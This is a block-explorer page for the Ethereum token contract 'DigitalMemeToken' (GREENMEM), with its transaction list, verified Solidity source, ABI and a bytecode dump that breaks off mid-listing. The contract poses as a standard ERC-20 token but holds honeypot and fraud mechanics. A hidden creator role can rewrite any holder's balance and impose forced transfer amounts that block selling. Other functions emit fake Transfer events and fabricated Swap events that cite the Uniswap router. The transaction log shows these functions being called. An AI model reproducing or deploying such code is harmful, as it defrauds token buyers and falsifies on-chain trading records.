ETH Price: $2,424.21 (-0.03%)

Contract

0xFC1f35B23168ddEFb81eA22DB698163bB0538eEA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve208996972024-10-05 13:40:5920 hrs ago1728135659IN
0xFC1f35B2...bB0538eEA
0 ETH0.000215778.70363886
Approve205108192024-08-12 6:43:2355 days ago1723445003IN
0xFC1f35B2...bB0538eEA
0 ETH0.000077051.64391501
Approve197522662024-04-28 7:16:23161 days ago1714288583IN
0xFC1f35B2...bB0538eEA
0 ETH0.000132195.31949928
Approve197085462024-04-22 4:26:47167 days ago1713760007IN
0xFC1f35B2...bB0538eEA
0 ETH0.000260435.5323896
Approve189360312024-01-04 19:25:23275 days ago1704396323IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005624622.63368767
Approve189360302024-01-04 19:25:11275 days ago1704396311IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005544222.36377539
Approve188820952023-12-28 5:41:47283 days ago1703742107IN
0xFC1f35B2...bB0538eEA
0 ETH0.0006583726.49286608
Approve188820932023-12-28 5:41:23283 days ago1703742083IN
0xFC1f35B2...bB0538eEA
0 ETH0.0006846227.6157537
Approve177391442023-07-21 4:29:59443 days ago1689913799IN
0xFC1f35B2...bB0538eEA
0 ETH0.0007076815.03307512
Approve175890832023-06-30 2:20:11464 days ago1688091611IN
0xFC1f35B2...bB0538eEA
0 ETH0.000577723.24676144
Transfer175811402023-06-28 23:37:11465 days ago1687995431IN
0xFC1f35B2...bB0538eEA
0 ETH0.0004904818
Transfer175559072023-06-25 10:30:11468 days ago1687689011IN
0xFC1f35B2...bB0538eEA
0 ETH0.0003691313.55268319
Transfer175558682023-06-25 10:22:23468 days ago1687688543IN
0xFC1f35B2...bB0538eEA
0 ETH0.0003720813.66085106
Approve175554282023-06-25 8:52:11469 days ago1687683131IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005662512.02885824
Alter User Balan...175554262023-06-25 8:51:47469 days ago1687683107IN
0xFC1f35B2...bB0538eEA
0 ETH0.000641312.77831462
Execute Token Sw...175554142023-06-25 8:49:23469 days ago1687682963IN
0xFC1f35B2...bB0538eEA
0 ETH0.0012721512.37540464
Execute Token Sw...175554032023-06-25 8:47:11469 days ago1687682831IN
0xFC1f35B2...bB0538eEA
0 ETH0.0015475313.64033432
Execute Token Sw...175553932023-06-25 8:45:11469 days ago1687682711IN
0xFC1f35B2...bB0538eEA
0 ETH0.0018670911.95447468
Execute Token Sw...175553822023-06-25 8:42:59469 days ago1687682579IN
0xFC1f35B2...bB0538eEA
0 ETH0.0012053613.08333309
Execute Token Sw...175553722023-06-25 8:40:59469 days ago1687682459IN
0xFC1f35B2...bB0538eEA
0 ETH0.0021150112.6751066
Approve175553672023-06-25 8:39:59469 days ago1687682399IN
0xFC1f35B2...bB0538eEA
0 ETH0.0003217712.94806709
Execute Token Sw...175553622023-06-25 8:38:59469 days ago1687682339IN
0xFC1f35B2...bB0538eEA
0 ETH0.0023536913.25875841
Execute Token Sw...175553512023-06-25 8:36:47469 days ago1687682207IN
0xFC1f35B2...bB0538eEA
0 ETH0.0020378113.04754558
Execute Token Sw...175553412023-06-25 8:34:47469 days ago1687682087IN
0xFC1f35B2...bB0538eEA
0 ETH0.001414613.76273755
Execute Token Sw...175553302023-06-25 8:32:35469 days ago1687681955IN
0xFC1f35B2...bB0538eEA
0 ETH0.0021750114.95058448
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeToken is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "GREENMEM";
    string public constant _ticker = "GREENMEM";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612397806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c725761